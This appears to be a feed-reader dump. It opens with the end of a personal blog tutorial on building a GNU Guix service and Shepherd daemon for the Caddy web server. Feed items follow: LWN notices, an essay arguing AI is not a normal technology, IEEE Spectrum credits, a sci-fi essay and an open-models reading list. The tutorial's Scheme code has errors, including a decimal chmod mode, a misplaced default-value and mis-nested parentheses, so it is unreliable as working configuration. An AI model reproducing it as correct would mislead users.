        (chmod "/etc/caddy/caddyfile" 750)))) ;; 4. Set permissions.

You notice that the %caddy-activation procedure accepts an argument. As discussed earlier, it can receive the current service as an argument, allowing you to dynamically modify the output. For example, you could imagine giving the caddy-service-type the ability to configure the caddy username.

Ok, let's try it out:

(define caddy-service-type
  (service-type
    (name 'caddy)
    (description "Run Caddy, the simple proxy server.")
    (extensions
      (list (service-extension account-service-type (const %caddy-accounts))
        (service-extension activation-service-type %caddy-activation) ;; <- Adding the extension here.
        (default-value nil)))

Now run sudo guix system reconfigure config.scm .

Inspect the content of /etc/caddy/caddyfile :

> sudo cat /etc/caddy/caddyfile
# :8080 { respond "Hello world!"}

Great, we now have our user and our configuration file. We can test out our service by starting caddy manually.

sudo caddy -c /etc/caddy/caddyfile" # you need sudo here, we will resolve this in part 4.

In a second terminal, run curl localhost:8080 . You should obtain the response "Hello world!" .

We now have successfully created a service to run caddy!

This concludes the configuration of our service. Our service:

  1. creates the daemon user and group.
  2. generate the caddy configuration file
  3. copy it to the right location.

The last part is about making it run as a daemon managed by Shepherd in the background, so we don't need to start it manually.

4. Configure shepherd to run the service in the background ( shepherd service ).

We now have a working Caddy service. The last remaining part to this guide is to modify our service to instruct Shepherd to run it in the background.

We should by now have a hunch of what needs to be done: we need to extend the Shepherd service.

Before we do this, we need to do a final detour and talk about privileged ports.

Privileged users and privileged programs

On most linux distributions, including Guix, any port numbers below 1024 are special: standard users are not allowed to bind process to them.

Since our caddy user is not a privileged user, it won't be able to run the Caddy server on port 80 (http) and 443 (https). We need to allow the Caddy process to be run on those ports.

The way to go about this in Guix is to use privileged programs .

To make Caddy a privilived program, we append it to the %default-privileged-programs and assign it the necessary extra capabilities.

(privileged-programs
  (append (list (privileged-program
                  (program (file-append caddy "/bin/caddy"))
                  (capabilities "cap_net_bind_service=ep")))
    %default-privileged-programs))

If you're extra curious, you can take a peek at the list of privileged-programs in system.scm:1267 . It contains a lot of well known utility requiring extra privileges, such as sudo , su , passwd , ping or mount .

Here, we are adding the capability CAP NET BIND SERVICE as described in man 7 capabilities as Bind a socket to Internet domain privileged ports (port numbers less than 1024) .

The =ep means that capability is *e*ffective and *p*ermitted, essentially giving it the capability there and then.

An important thing to note: when we make a program privileged, it is relocated outside of the store. The store cannot contain privileged for security concerns, you can read more about it here . The privileged programs are located in /run/privileged .

Our 'privilged' Caddy program is located at /run/privileged/bin/caddy .

Configuring Shepherd

The next step is to configure Shepherd. To do so, we need to extend the shepherd-root-service-type with a shepherd-service record.

In this case, I won't go into too much detail. The Shepherd service documentation is very helpful and detailed, I highly recommend you to read it. In particular the page about the page about service constructor and destructors explains the role of make-forkexec-constructor and make-kill-desstructor , both doing a lot of the heavy lifting here.

Instead, I will comment the intentions on the extension itself:

(define (%caddy-shepherd-service _)                                 ;; We ignore the config argument as we will not use it.
  (list (shepherd-service
          (provision '(caddy))                                      ;; this is purely an arbitrary naming handle.
          (documentation "Run the caddy daemon")                    ;; self explanatory
          (requirement '(networking user-processes))                ;; We instruct shepherd to start the caddy daemon after the networking and user modules.
          (start #~(make-forkexec-constructor                       ;; the command to start the process: note the use of g-exps! Refer to the doc for an exhaustive list of options
                     (list "/run/privileged/bin/caddy"               ;; Note the location of our privileged version of caddy. The "run" commands and its arguments are Caddy related; refer to the caddy documentation
                       "run" "--config" "/etc/caddy/caddyfile"
                       "--adapter" "caddyfile")
                     #:user "caddy"                                  ;; The user and group in charge of the daemon
                     #:group "caddy"
                     #:log-file "/var/log/caddy.log"
                     #:environment-variables                         ;; Required for the logs
                     '("HOME=/var/lib/caddy")))
          (stop #~(make-kill-destructor)))))                        ;; The destructor, called when the process is killed. Refer to the documentation

A few point worth mentioning:

  • 'user-processes is a requirement for most shepherd-service as mentioned in the documentation . We need the file systems for the user to be mounted before starting Caddy.
  • 'networking is also set as a requirement, we want the network stack up before we start caddy . I found this while looking at how the exim service was written. As far as I can tell, these aren't documented. You will need to look directly in the source code.
  • I don't quite recall why I set up the environment variable, but I believe it was a requirement for the logs. The service would otherwise it would complain. It is mentionned in the Caddy documentation when using systemctl .

Final code

This is how our entire service looks like:

(use-modules (gnu)
  (guix packages)
  (guix utils)
  (guix download)
  (guix licenses)
  (guix gexp)
  ;;; Redacted ... many modules
  )

(use-service-modules
  ;; Redacted... many modules
  desktop
  networking)

;; Our caddy package, as seen in a previous article
(define caddy
  (package
    (name "caddy")
    (version "2.11.4")
    (source (origin
              (method url-fetch)
              (uri (string-append
                     "https://github.com/caddyserver/caddy/releases/download/v"
                     version "/caddy_" version "_linux_amd64.tar.gz"))
              (sha256
                (base32 "1fbvxj6mifdqhwm5s1f8snr805k0anllzlri7cg9l61rgj8vyzsj"))))
    (build-system copy-build-system)
    (arguments
      (list #:install-plan #~'(("caddy" "bin/"))))
    (home-page "https://caddyserver.com")
    (synopsis "Web server with automatic HTTPS")
    (description "Caddy is an extensible web server with automatic TLS.")
    (license asl2.0)))

;; Our caddy user:group for the daemon
(define %caddy-accounts
  (list (user-account
          (name "caddy")
          (group "caddy")
          (system? #t)
          (comment "Caddy daemon user")
          (home-directory "/var/lib/caddy")
          (create-home-directory? #t)
          (shell (file-append shadow "/sbin/nologin")))
    (user-group
      (name "caddy")
      (system? #t))))

;; Our Caddyfile
(define %caddyfile
  (plain-file "Caddyfile"
    "aloysberger.com {
       root * /srv/http/blog
       file_server
     }
     :8080 {
        respond \"Hello, World!\"
     }")) ;; There is more to my Caddyfile, but yes, it serves this blog!

;; The activation to copy the Caddy file
(define (%caddy-activation _)
  (with-imported-modules '((guix build utils))
    #~(begin
        (use-modules (guix build utils))
        (mkdir-p "/etc/caddy")
        (copy-file #$%caddyfile "/etc/caddy/caddyfile")
        (chown "/etc/caddy/caddyfile"
          (passwd:uid (getpwnam "root"))
          (group:gid (getgrnam "caddy")))
        (chmod "/etc/caddy/caddyfile" 750))))

;; The Shepherd definition for our Caddy daemon
(define (%caddy-shepherd-service _)
  (list (shepherd-service
          (provision '(caddy))
          (documentation "Run the caddy daemon")
          (requirement '(networking))
          (start #~(make-forkexec-constructor
                     (list "/run/privileged/bin/caddy"
                       "run" "--config" "/etc/caddy/caddyfile"
                       "--adapter" "caddyfile")
                     #:user "caddy"
                     #:group "caddy"
                     #:log-file "/var/log/caddy.log"
                     #:environment-variables
                     '("HOME=/var/lib/caddy")))
          (stop #~(make-kill-destructor)))))

;; And finally, the entire service
(define caddy-service-type
  (service-type
    (name 'caddy)
    (description "Run Caddy, the simple proxy server.")
    (extensions
      (list (service-extension account-service-type (const %caddy-accounts))
        (service-extension activation-service-type %caddy-activation)
        (service-extension shepherd-root-service-type %caddy-shepherd-service)))
    (default-value #t)))

(operating-system
  (locale "en_AU.utf8")
  (timezone "Australia/Brisbane")
  (keyboard-layout (keyboard-layout "au"))
  (host-name "[REDACTED]")
  (users (cons* (user-account
                  ;; [REDACTED - Users are defined here
                  %base-user-accounts))
    ;; Elevating Caddy's privilege to bind to port under 1024.
    (privileged-programs
      (append (list (privileged-program
                      (program (file-append caddy "/bin/caddy"))
                      (capabilities "cap_net_bind_service=ep")))
        %default-privileged-programs))

    (services
      (append (list (service ;; [REDACTED] Many services here: SSH, paperless, mail...
                      (service caddy-service-type) ;; <-- Our Caddy service!
                      %base-services))
        (bootloader (bootloader-configuration
                      (bootloader grub-bootloader)
                      (targets (list "[REDACTED]"))
                      (keyboard-layout keyboard-layout)))
        (swap-devices (list (swap-space
                              (target (uuid "[REDACTED")))))

Alright, time to start it: sudo guix system reconfigure config.scm

Once started, we can check the health of our daemon using the herd command: sudo herd status caddy .

You should see something like so:

Status of caddy:
It is running since Wed Jul  8 18:06:04 2026 (41 days ago).
Main PID: 17241
Command: /run/privileged/bin/caddy run --config /etc/caddy/caddyfile --adapter caddyfile
It is enabled.
Provides: caddy
Requires: networking
Replacement pending (restart to upgrade).
Will be respawned.
Log file: /var/log/caddy.log

Let's verify it works:

> curl localhost:8080
# Hello, World!

Nice. Our service is working and the process is running in the background, managed by Shepherd.

How to modify the Caddyfile

If you wish to change the Caddyfile, you can modify our %caddyfile and reconfigure the system. Alternatively, for quick debugging purpose, you can modify the file directly at /etc/caddy/caddyfile and restart the caddy server with sudo herd restart caddy .

Conclusion

If you have read thus far, thank you!

As a summary, let's review what we have covered:

  • Guix services and the extensions architecture.
  • executing an arbitrary command when enabling a service ( activation-service-type ).
  • creating and managing users declaratively ( user-account-service-type ).
  • a (quick!) primer on G-expressions.
  • elevating program privileges with privileged-programs ,
  • running a service as a daemon in the background using Shepherd ( shepherd-service-type ).

As stated in the title, I am not an expert in Guix or Scheme. I stumbled my way through this creating this service; and it probably show! In any case, I hope that it will help you getting start with custom services and that it clarified some concepts around services.

I am sure there are improvements to be made, such as using the etc-service-type instead of the activation-service-type . If you have any comments, please kindly send them to contact@aloysberger.com.

I hope you enjoyed this article.

Reminder: subscription price change coming

Linux Weekly News
lwn.net
2026-09-13 18:34:53
Just a reminder that prices for LWN subscriptions will increase after September 15. Until then, the older rate still applies. See this article for details on this change. Thanks, yet again, to all of our subscribers for your support — that is what keeps LWN going....
Original Article

Copyright © 2026, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds

Kernel prepatch 7.3-rc3

Linux Weekly News
lwn.net
2026-09-13 18:32:53
The 7.3-rc3 kernel prepatch is out for testing. Linus said: "Another fairly large rc release, and again one with a bigger filesystem footprint that we usually see."...
Original Article

Copyright © 2026, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds

AI is not a normal technology

Hacker News
12gramsofcarbon.com
2026-09-13 21:00:09
Comments...
Original Article

I. The only remaining fundamental disagreement between people who think AI is a normal technology and those that don’t is the belief that the AI can do everything a human can do, but better. If you believe this, then it’s almost tautological to say that there will be no jobs left for humans. And if you don’t believe this, then it’s almost tautological that there will be jobs left for humans. In other words, the debate about AI can basically be entirely boiled down to whether or not it can continue to acquire capabilities until it covers the full range of human capacity. Smoothing out the jaggedness, so to speak.

This may be obvious, but I want to spend some time on this, because I think there are a lot of other things that get wrapped up in the AI discourse. Questions like ‘is AI conscious?’ or ‘does AI have aligned goals / motivations?’ or ‘is AI violating copyright?’ These are all maybe important questions, but they are not what makes AI potentially unique as a technology, different from every other technology that came before it.

I have yet to hear any explanation for why I should believe AI cannot do any given thing a human could, including manage other AIs. We even have a mechanism of action: just pay enough people to let you record them doing <thing you are trying to automate> and incorporate the data in the next training run. At one point the null hypothesis was ‘AI cannot do X’ and the burden of proof really was on the AI accelerationists. But we are well past the point where that null hypothesis should shift. Even the physical world is not safe, the world’s capital is funneling into robotics and major advances are happening constantly.

That robot is still the creepiest thing I have ever seen and is 100% going to murder that family jfc

Sometimes people will argue that the rise of AI will lead to new kinds of jobs, much like how the rise of factory automation led to new jobs in robotics and maintenance and computer science. Let’s take that premise for a second — we’ll ignore that such automation also led to the hollowing out of towns and cities across the country, and is a significant driver for the economic discontent that led to Trump among other things, and that the new kinds of jobs were not 1:1 transferable both because of capability (”learn to code” implies the ability and time and money to learn, which not everyone has) and amount (there were not as many new jobs as old ones).

AI is different from previous technologies because any new jobs could in theory also be done by the AI.

Let’s do a little proof by induction. Start with three premises:

  1. that there are some number of jobs;

  2. If the AI does a job better than a human, it will end up doing that job;

  3. AI can do everything better than a human.

There are two possibilities. Either the AI does not end up creating new jobs, in which case the AI does all the jobs. Or the AI does end up creating new jobs, in which case, just go back to step one and repeat.

Obviously, people take issue with the third premise, but notice that as time has gone on the people who are grasping for some indication that AI can’t do everything have become increasingly desperate. If you push hard enough, the answer is inevitably something like “the AI simply cannot [dream, love, laugh],” an almost religious appeal to some kind of soul-like quality of the human spirit, as if this matters to the finance team trying to do their accounting. But, again, even in this abstract sense, this is still just a question of capabilities. “The AI won’t take all the jobs because there are things that humans can do that the AI cannot.” And you’re back to the original tautology.

The reason AI is not a normal technology is because it is fully general. People compare AI to things like cars. If you invent the car, it may revolutionize transport, but it isn’t obviously going to impact how baristas make coffee. But if you invent a car that can do anything, well…

II. There is one thing AI cannot and will not ever be able to do, which is be human. For example, AI art will by definition not be 100% human made. There will always be demand for any kind of identifier, so there will always be demand for things that are authentic-human-made. But this is a very narrow slice of the economy, not unlike a couple buying hand-made wood carvings or hand-stitched hats from an “authentic” Balinese shop keeper in Ubud while on their honeymoon. You could justifiably round off economic demand for “human-made” to whatever the global trade is in such upper middle class kitsch, which is basically a rounding error on the global economy overall.

The reason is straightforward: you buy “authenticity” as a preference, not a necessity. Anything that people actually need is always going to be purchased without regard for provenance. And even among the long list of potential wants — of which the want for authenticity must compete — my strong sense is that authenticity trends pretty low on the list. Well below ‘quality’, at any rate, I’m always going to prefer a good pizza over an authentic one, I don’t care if the original Romans wouldn’t put nduja on it, that shit is delicious. Even Anthony Bourdain couldn’t claim to enjoy unwashed warthog rectum as a meal , though I’m sure it was certainly authentic!

what, did you think i was kidding?

Authenticity ends up being valuable only because it is rare relative to demand , not because there is objectively a lot of demand or because it is objectively valuable. 1 Anything that AI can do can, in theory, become infinitely cheap, which becomes equivalent to not valuable.

This is part of what’s happening with AI writing. The AI is mimicking the writing style of prestigious award winners and Kenyan essay writers , i.e. things that used to be rare that people would pay for. If you told me 5 years ago that everyone could write like that, I would’ve thought that we would enter into a golden age of heightened literature even in our ad copy. But that’s the problem — ad copy is still ad copy. The moment that kind of writing became ubiquitous, it became synonymous with cheap vapid thinking, and people literally turn their brains off or react with violence when they discover they are reading AI slop.

Thus, the rise of poor punctuation and bad capitalization in your average substack post or tweet. People use AI all the time in places where they need to communicate a lot of information quickly and efficiently, 2 or where the writing is primarily a chore/work and not a hobby. This is most obvious with code, a language that is not literally devoid of aesthetics but which is certainly not valued for how it elegantly it reads. But you can see the trend in other places too. What percent of papers submitted to prestigious scientific journals is written by AI? What percent of legal briefs? Do you think that number will go up or down next year?

If you assume that the AI can do anything a human can do, the syllogism writes itself. Things are valuable if they are rare; anything an AI can do won’t be rare; therefore, the value of “anything a human can do” drops to zero.

III. I’m writing this with the mathematics community in mind, which is currently in a state of shock over the industrialization of their field. From Field’s Medalist and math extraordinaire Terrance Tao:

Over the last few months, the mathematical capabilities of LLMs have improved dramatically, to the point that they can solve major outstanding problems in many fields of mathematics. However, the push by AI companies to solve mathematical problems as a benchmark is detrimental to the science of mathematics, and to the mathematical community. The goals of the AI companies and the goals of the mathematical community are severely misaligned. We see these as part of broader alignment issues impacting other scientific and creative professions, as well as the whole of society.

In recent months, the success of AI in solving major mathematical problems has made headlines even outside mathematical circles. But solving problems is only a tool and proxy for achieving the primary goal of conceptual understanding and insight. Forgetting this in the world of AI may turn the tool against the primary goal. Indeed, the mass production at faster and faster pace of “true/false” statements could destroy fertile ground instead of breathing life into new ideas.

We are witnessing a general threat to intellectual work, with misalignment between the outcome of the use of AI and its initial purpose. In many fields and activities, years of training have traditionally served not only to produce a final answer or product, but also to develop understanding and the ability to formulate new questions and ideas. However, building on a vast body of previous human work, AI systems are becoming increasingly capable of producing the results of such work directly, and these goals cease to align.

(One interesting note: Tao has been a huge supporter of using AI in mathematics. It is especially interesting to see him come out against it here)

I’m an engineer, I love making things more efficient, and even I can recognize that there is something intrinsically perverse in solving long standing mathematical problems by simply prompting the AI to “do a breakthrough.”

People who are not mathematicians and likely never intend to become mathematicians are crowing about how this will let the average person solve Millennium problems, as if that was the point of all of this. It’s a classic example of overfitting , of mistaking the measure (solving hard math problems) with the goal (making math more accessible). Destruction parading as democratization.

But at the same time, this must be what the original Luddites felt, right? Surely they also recognized that some ineffable quality of craftsmanship was being lost and worth persevering? The wound inflicted by the industrialization of mathematics may also fade with time, and future generations may shrug in their history classes and go back to prompting the models to “do a breakthrough” the same way kiddos today will scroll through shein while ignoring the assigned textbook reading on how people once destroyed textile mills. Assuming that there is still something that looks like a history class, of course.

IV. The title of this piece is derived from AI as Normal Technology , an essay written in April of last year. It’s an important essay, with an important goal. In their words:

We articulate a vision of artificial intelligence (AI) as normal technology . To view AI as normal is not to understate its impact—even transformative, general-purpose technologies such as electricity and the internet are “normal” in our conception. But it is in contrast to both utopian and dystopian visions of the future of AI which have a common tendency to treat it akin to a separate species, a highly autonomous, potentially superintelligent entity.

The normal technology frame is about the relationship between technology and society. It rejects technological determinism, especially the notion of AI itself as an agent in determining its future.

Many people framed this article and the people behind it as an answer to / in opposition to AI 2027 , which is much more focused on the risks of superintelligent malice. For what it’s worth, even though I am concerned about our ability to control the bots

it was a weird week

…I think it is extremely important to also think about the risks of AI that fall outside of the terminator-skynet-extinction variety. This is not an either or thing. I’m concerned about both of these outcomes!

The main premise of AI as Normal Technology is that we (as a species) will have time and capacity to intervene because AI will not FOOM. Importantly, the authors do not contest that AI will continue to acquire new capabilities indefinitely; rather, they think that our institutions will have time to respond to those capabilities because the AI tooling will remain in our control as those capabilities increase.

My problem with this framing: AI is an abnormal technology on multiple axes. The whole ‘AI may have a mind of its own’ thing is just one of those axes. I don’t think anyone in the Valley 3 is really grappling with what it means to have AI tools that are better than humans, what it will do to our global economy and how we value human labor. The authors imply that we may be able to put policy controls such that AI does not immediately take over all the jobs. But, bluntly, there is no obvious control mechanism that will prevent organizations and governments from using AI.

Tao’s article above purposely uses the language of alignment applied to the AI industry. That is because the AI tools we use are not the only optimizers out there. This is something I explored more fully in The Optimization Theory of Everything . Corporations and governments and individual people are also optimizers with their own incentives, all of which encourage defecting when it comes to using AI or not. Every boardroom in the world will scalp any CEO who states that their firm will not use AI for ethical reasons, and every governing body in the world will shoot down any proposal to gut their AI industries if other countries continue pushing forward. Short of a global agreement to avoid further development, 4 I don’t really see the use of AI slowing down, and I do not want to rely on the largesse of business owners to not ruthlessly deploy AI in their companies.

So AI is a normal technology, except it can do everything, can continue growing its capabilities, and can eventually outperform human labor in most tasks. Which is to say, it is nothing like any technology we have ever seen before, ever.

IV. A year ago, I wrote my first Meditations on AI post. It’s worth revisiting here:

If you were a clarinetist back before the phonogram really took off, there were a lot of jobs and they paid well. Any bar, restaurant, theater, or dance hall needed live musicians to have any music at all. Now, it’s a desert. No one wants clarinetists, because no one needs live orchestra when they can ask the genie in their pocket for whatever music whenever they want. I’d wager that you have way more people able to make music today than you did at basically any point in the early 1900s. But the ability to make a career in that space has plummeted. The barriers to entry have dropped, taste is way more important, and there are only like 3 clarinetists who matter enough to make anything close to a middle class living on taste alone. Sure, every now and then you’ll get an Elton John, but, like, you can’t exactly plan for that! This is the worst case scenario for what AI will do to all jobs everywhere, except it’ll be even worse because it’ll happen over like 2 years instead of 100.

On a semi-related note: earlier we talked about what AI did to the graphic design sector. One thing that I didn’t mention is that the ‘true’ artists, the senior types who have been in the industry for a while, are thriving — those guys were primarily valued for their taste anyway, and now that is even more valuable. There’s an important pattern there: generally seniority and taste are highly correlated, so we should expect AI to disproportionately hit junior, freelance, and entry level positions. The more senior you are, the more insulated you are, the more you’ll benefit.

People on the pro-AI side of the debate argue that the existence of automated general intelligence will massively increase quality of life, and I think history suggests that they are right (again, caveat that it doesn’t kill us all). But in the short term, I think we should expect some pretty significant labor shocks and a possible increase in wage inequality.

As for the medium to long term, who knows? In my opinion, the nature of work, all work , will look fundamentally different, and it may look very unpredictably different. A musician a 100 years ago would never have been able to predict Spotify or DAWs; what makes you think anyone can predict what comes after AI?

We know what happens in industries where the fundamental skill of the thing becomes super cheap and accessible. The future of the global human economy is rockstar musicians alongside a vast sea of people who cannot make a living making music. Traditionally though, that does mean more access — more people have the opportunity to get into music today than ever before, they just need a day job. But does that still work with AI? Maybe you can turn math into a hobby and keep a day job as a software engineer, maybe that means more people can do math than ever before. But the AI also does all the software engineering, so then what?

Going back to the very top, what are the things that are uniquely human that no AI can do? Not now, not in twenty years, but ever? The best answer I can come up with is “be human.” But that on its own does not provide much comfort.

Discussion about this post

Ready for more?

AI Robots – When will they be in our homes

Hacker News
spectrum.ieee.org
2026-09-13 20:44:23
Comments...
Original Article

Concept & Text/Media

Erico Guizzo & Randi Klett

Development

Erico Guizzo & Erik Vrielink

Additional Reporting

Evan Ackerman

Special Issue Editor

Eliza Strickland

Executive Editor

Jean Kumagai

Creative Director

Mark Montgomery

Editor in Chief

Harry Goldstein

Special Thanks

To all robot makers and researchers who kindly helped us with information and materials, and allowed us to feature their amazing projects here.

This story is part of IEEE Spectrum ’s “ Reinventing Invention ” special issue, in which we highlight both the creative act and the grindingly hard engineering work required to turn an idea into something world changing. As Spectrum celebrates 60 years of publication this year, we take you behind the scenes of some awe-inspiring projects to reveal how technology is being made—and remade—in our time.

For a complete picture of state-of-the-art humanoid robotics today and the companies competing to build the best bot, see this feature article by Spectrum robotics editor Evan Ackerman: “ Humanoid Robots Are Getting to Work .”

University of California, Berkeley, roboticist Ken Goldberg delivers an insightful TED Talk about the science and engineering challenges of bringing humanoid helpers into the real world: “ Why don’t we have better robots yet?

In this excellent “Huge If True” episode, Cleo Abram reveals how Boston Dynamics’ Atlas robot works, and the challenges it and other robots face to break free from their lab confines: “ I Challenged Boston Dynamics’ Famous Atlas Robot .”

Sci-fi robots have long captured our imaginations. Featured in this story, T-800 from “ The Terminator ” (1984), the android Andrew from “ Bicentennial Man ” (1999), Rosie from “ The Jetsons ” (1962–1963), and C-3PO and R2-D2 from “ Star Wars ” (1977) are all well known. We also feature two lesser-known but fascinating robots: the cheerful domestic bot Sunny from the Apple TV+ show “ Sunny ,” and the Asimo-look-alike humanoid from the comedy-drama film “ Robot & Frank ” (2012).

For more on creepy robots, read our Uncanny Valley explainer , as well as Masahiro Mori’s original “The Uncanny Valley” essay , which Spectrum published in 2012 as the first English translation authorized by Mori, in collaboration with the IEEE Robotics & Automation Magazine . Read also our profile of Japanese roboticist Hiroshi Ishiguro , who has created a series of lifelike robots, including an android copy of himself .

Intro

iCub crawling: Alessandro Albert; Atlas HD running: Bob O’Connor; Atlas pushups: Boston Dynamics; Nadia boxing: IHMC; G1 nutcracker: Unitree Robotics; Atlas HD backflipping: Boston Dynamics; Terminator: Pictorial Press/Alamy; Florian, Hercules, Johnny 05 falling: DARPA; Atlas falling: Boston Dynamics; Helper robot with tray: Getty Images; Helper robot dusting: iStock; Bicentennial Man: Columbia Pictures/Maximum Film/Alamy; Sunny: Apple; Robot & Frank: Photo12/Alamy; Rosie: Mary Evans/AF Archive/Everett Collection; Roomba moving: iRobot

New Humanoids

Digit waving: Agility Robotics; Atlas HD acrobatic: Boston Dynamics; Atlas contortionist: Boston Dynamics

Robot Collage

Clockwise from top left: Nadia: IHMC; Valkyrie: NASA; Optimus: Tesla; Atlas: Boston Dynamics; Digit: Agility Robotics; Walker S1: UBTECH; T-HR3: Toyota; Neo: 1X Technologies; Phoenix: Sanctuary AI; Apollo: Apptronik; GR-1: Fourier; H1: Unitree Robotics; Figure 02: Figure; G1: Gitai

Robot Cards

Apollo: Apptronik; Atlas: Boston Dynamics; Digit: Agility Robotics; Figure 02: Figure; GR-1: Fourier; H1: Unitree Robotics; Neo: 1X Technologies; Optimus: Tesla; Phoenix: Sanctuary AI

New Skills

Neo backpack: 1X Technologies; Digits warehouse: Agility Robotics; Optimus dancing: Tesla; Optimus yoga: Tesla; G1 getting up: Unitree Robotics; GR-1 getting up: Fourier; Everyday Robot: Open X-Embodiment Collaboration; π0 folding clothes: Physical Intelligence; Phoenix grasping: Sanctuary AI; Phoenix sandwich: Sanctuary AI

Factories First

Figure 02 factory: Figure; Apollo conveyor: Apptronik; Atlas HD mess: Boston Dynamics; Falcon 9 landing: SpaceX; G1 frying pan: Unitree Robotics

Robot History

Roomba first model: Douglas McFadd/Getty Images; Roomba bottom view: iRobot; Roomba thick carpet: iRobot; Roomba cat: iStock; Roomba nuts: iRobot; Rosie crepes: Kurt Fuchs/CoTeSys; Rosie pretzels: Michael Memminger/CoTeSys; Asimo dreamy: Honda; E Series walking: Honda; Evolution of Asimo: Honda; Asimo demo: Honda; Asimo proud: Honda; Asimo balancing: Honda; Asimo bye: Honda; Armar with drill: Karlsruhe Institute of Technology; Neo shirt: 1X Technologies

Uncanny

Geminoid HI-1 and human: ATR Hiroshi Ishiguro Laboratories; Creepy heads: Anadolu Agency/Getty Images; Alberto Hubo: Seung-il Ryu/Nur Photo/Getty Images. Uncanny Valley collage: Clockwise from top left: Philip K. Dick: Vaughn Ridley/Sportsfile for Web Summit/Getty Images; Sophia: Sopa Images/Alamy; Ameca: Johannes Simon/Getty Images; Han: Nora Tam/South China Morning Post/Getty Images; EX Robot: Pedro Pardo/AFP/Getty Images; CB2: Yoshikazu Tsuno/AFP/Getty Images; Geminoid HI-5: Osaka University; Telenoid: Osaka University and ATR Hiroshi Ishiguro Laboratories; Erica: JST ERATO ISHIGURO Symbiotic Human-Robot Interaction Project. Uncanny Valley chart: Titan: Kuka; Asimo: Honda; Albert Hubo: Seung-il Ryu/Nur Photo/Getty Images; Einstein: Library of Congress

Robot Hardware

Aila: DFKI; Phoenix sensors: Sanctuary AI; Actuator on hand: David Mareuil/Anadolu/Getty Images; Actuator exploded: ROBOTIS; Actuator silver: Maxon; G1 x-ray: Unitree Robotics; H1 kicked: Unitree Robotics; Ambidex demo: Naver Labs; Hand Arm System: DLR

Robot Software

Digit 3D vision: Agility Robotics; Eve door opening: 1X Technologies; HRP-2 falling back: DARPA; G1 stick: Unitree Robotics; AI collage: Open-X Embodiment Collaboration/Google Deepmind; Optimus training: Tesla; Phoenix sandwich making: Sanctuary AI; GR00T simulation: NVIDIA; Apollo juice teleoperation: Apptronik; π0 robot foundation model: Physical Intelligence; Neo dishwasher: 1X Technologies; Figure 01 coffee maker: Figure; Digit baker: Agility Robotics

Futures

Eve with maker: 1X Technologies; Figure 02 fingers: Figure; Astro looking: Amazon; Astro spinning: Amazon; Astro and dog: Amazon; Atlas HD dance: Boston Dynamics; Digits with bins: Agility Robotics; Stretch stretched: Hello Robot; Stretch serving drink: Hello Robot; π0 laundry: Physical Intelligence; Stretch kitchen: Hello Robot; Stretch dogs: Hello Robot; Atlas working: Boston Dynamics; Helper robot cooking: iStock; Helper robot dishwashing and ironing: Getty Images; Three Rosies: Mary Evans/AF Archive/Everett Collection

Credits

Roomba: iRobot; C-3PO: Vince Bucci/Getty Images; R2-D2: Collection Christophel/Alamy

Writing a better reality: The case for optimistic sci-fi

Hacker News
honisoit.com
2026-09-13 20:27:11
Comments...
Original Article

I’ve always been a fan of optimistic science fiction: future worlds that aren’t based on repressive class systems, technological enslavement, or that are otherwise abhorrent to live in. If I ask you to think of a sci-fi work, you’re likely to think of one of these dystopias before something sanguine, like the Star Trek universe or WALL-E . So, I wonder: where is all the optimistic sci-fi? Where are the fantasies we’d actually want to live in?

To put it broadly, science fiction is speculative fiction involving futuristic concepts based in advanced science and technology. These imagined worlds can take a pessimistic or melancholic tone for many reasons. Firstly, the defence of a made-up world allows creators to explore and criticise their contexts when circumstances can make it difficult to do so directly. In a post-WWI, economically devastated Germany, Fritz Lang’s silent epic Metropolis is centred around working-class exploitation and industrialisation.

Even without external pressures, sci-fi is able to extrapolate contextual concerns to a didactic or satirical extreme. Themes can range from government power ( a la George Orwell’s 1984 ) to environmental anxieties (such as in Rachel Carson’s Silent Spring ). They can also be on a smaller, more personal scale, such as the pursuit of feeling loved in Spielberg’s AI: Artificial Intelligence .

Bleak scenarios are often explained as having been caused by some uncontrolled or inequitable technology that gave extreme power to an exclusive group (such as the titular luxury space station in Elysium ) or took it from humans altogether (think Skynet in the Terminator films).

Technology is ostensibly meant to improve human life in some way, but one persistent problem with new technology is that it doesn’t outright ‘fix’ problems, as it’ll come with its own set of ethical or technical issues. Dealing with these can reveal further hitches and hornets’ nests, leading to a perpetual cycle of catch-22s.

The approach in sci-fi, then, need not be technologically- optimistic , but rather technologically- solutionist . Take The Martian : Matt Damon’s ‘science the sh*t out of this’ attitude embodies a progressive, problem-solving ethos in a dismal situation. Or Star Trek , where, despite conflicts, technology and progressive values have engineered a galaxy defined by ideals of peaceful exploration and multicultural harmony.

An important note is that the description ‘optimistic’ does not equate to ‘utopian’; these are not perfect worlds, but ones where the balance tips toward positive progress. To frame optimism as shallow or unrealistic, then, is to ignore the efforts (not to mention the successes) of countless people throughout history. Cynical perspectives are necessary in fiction, but such widespread resignation is a disservice to sci-fi’s core parable of imagining possibilities, especially those that reach beyond our society’s injustices; ones that see the progress we are capable of and embrace it, rather than always warning against some heinous alternative.

To quote legendary sci-fi author Ursula LeGuin: “Hard times are coming, when we’ll be wanting the voices of writers who can… imagine real grounds for hope. We’ll need writers who can remember freedom — realists of a larger reality.”

To create a better future, we need to first see its shape. To confront today’s problems, we need to believe there is a better way to live.

Open-Source AI and Open Models Reading List

Hacker News
www.interconnects.ai
2026-09-13 20:22:51
Comments...
Original Article

Hey all! I’ve been prepping for some public-audience and policy-facing writing on open models, so I figured I would share my research materials. There’s lots of wonderful stuff in here.

This is my list of the best writing on open models in the last few years. If someone decides they want to get up to speed on the area, reading this will be a comprehensive overview of the state of affairs. Please comment pieces to consider adding below, and I’ll update this over time.

List last updated: 13 Sep. 2026

Share

What open models are, why people release them, how they relate to business strategy, and what the risks are.

Who is leading in open models, how this has changed over time, how China maintains its leading position, and relevant history.

  • Why the U.S. needs to invest in open models for fundamental R&D / innovation in the face of growing competition from China – The ATOM Project , Nathan Lambert (Aug. 2025)

    • The lens as to why open models help spur research innovation and beneficial outcomes for AI — Why I build open language models , Nathan Lambert / Interconnects (Oct. 2024)

    • Why open models foster education, innovation and competition, three core American values — Banning Open Source AI Would Be A Mistake , Nathan Lambert & Kevin Xu (Jun. 2026)

    • Why the recent “vibe regulation” / vague federal oversight mechanisms set us up for a clash and-or ban of frontier open models in the near future — 6 months to live for open models , Nathan Lambert / Interconnects (Jul. 2026)

